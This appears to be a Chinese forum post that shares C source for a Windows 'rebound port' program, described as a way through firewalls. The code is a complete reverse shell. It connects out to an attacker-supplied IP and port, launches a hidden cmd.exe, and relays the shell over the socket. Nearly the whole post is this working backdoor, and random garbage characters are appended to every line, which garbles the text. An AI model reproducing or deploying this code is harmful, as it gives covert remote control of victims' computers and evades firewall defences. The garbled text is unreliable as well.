这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l1]{r2g
41Q)w=hoN
/* ============================== hHVAN3e
Rebound port in Windows NT S,Q^M
)$
By wind,2006/7 Shy.:XI
===============================*/ <a
-a~
#include (GL'm[V
#include SG\ /m'F
G<<;a
#pragma comment(lib,"wsock32.lib") Q(yg bT
!^98o:"x
void OutputShell(); iV?8'^
SOCKET sClient; YzM/?enK}T
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :{Z%dD
"j?x gV
void main(int argc,char **argv) !> +Lre@
{ biS[GyQ
WSADATA stWsaData; WTl0}wi
int nRet; $V?sD{=W
SOCKADDR_IN stSaiClient,stSaiServer; a*D<J}xe
^%Cd@!dk
if(argc != 3) uuF~+=.|
{ W% Lrp{
printf("Useage:\n\rRebound DestIP DestPort\n"); =EA @
return; {Ke
IYjE
} +$(y2F7|u-
wA/!A$v(
WSAStartup(MAKEWORD(2,2),&stWsaData); uuD2O )v
.*oL@iX
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1D8S}=5&
CPcUB4a%#
stSaiClient.sin_family = AF_INET; %@)q=*=y
stSaiClient.sin_port = htons(0); O NcLhwH
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }b}jw.2Wu
\_R<Q?D+
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) aBY&]6^-
{ k{F6WQ7
printf("Bind Socket Failed!\n"); 0Qvr
g+
return; AI{0;0
} #4LTUVH
Op~:z<z
stSaiServer.sin_family = AF_INET; 7]5~ml3:
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w%)RX<h dI
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u #}1
M
e@Ev']
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) v*JKLA
{ +,ar`:x&a
printf("Connect Error!"); H\<0{#F
return; #`%S[)RT
} A=|a!N/
OutputShell(); P(8
u L|^
} |P|2E~[r
&Fuk+Cu{
void OutputShell() [qkW/qS
{ 5MCgmF*Y2
char szBuff[1024]; <_eEpG}9
SECURITY_ATTRIBUTES stSecurityAttributes; LCA+y1LP-_
OSVERSIONINFO stOsversionInfo; V3VTbgF
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <im}R9eJ1
STARTUPINFO stStartupInfo; #>lbpw
char *szShell; ( )ldn?v
PROCESS_INFORMATION stProcessInformation; 6}c!>n['
unsigned long lBytesRead; o(l%k},a
)AdwA+-x
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
:KG=3un]
tCR~z1
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m3P7*S5NJ7
stSecurityAttributes.lpSecurityDescriptor = 0; ^*$!9~
stSecurityAttributes.bInheritHandle = TRUE; IV':sNV
~.U\Y
hH;i_("i(h
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f]?&R c2C
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 06.8m;{N
w^nA/=;r
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `VGw5o
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Th\T$T`X$
stStartupInfo.wShowWindow = SW_HIDE; [U^Cz{G
stStartupInfo.hStdInput = hReadPipe; g;AW
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d*k5h<jM
Rb:?%\=
GetVersionEx(&stOsversionInfo); knV*,
oVbs^sbRH
switch(stOsversionInfo.dwPlatformId) A(`Mwh+
{ N:+EGmp
case 1: ax;<idC}
szShell = "command.com"; T5T[$%]6
break; T<Zi67QC@
default: 5i'?oXL
szShell = "cmd.exe"; L5KcI
break; 0
.T5%
_/
} 9X33{
Tl-%;X<X
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?g@X+!RB
=<aFkBX-
send(sClient,szMsg,77,0); u=~`5vA
while(1) !e
|Bi{
{ |<oqT+?i
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x.|sCqx
if(lBytesRead) c0&!S-4M
{ d>zC[]1
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ""N~##)8
send(sClient,szBuff,lBytesRead,0); 0/7.RpX,.
} p*@t$0i
else j%Uoigi
{ ObreDv^,
lBytesRead=recv(sClient,szBuff,1024,0); /FPO'} 6i
if(lBytesRead<=0) break; En&gI`3n
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); IFa~`Gf [
} xy&*s\=:
} Rd]<591
]{+Y!tD
return; L %ifl:K
}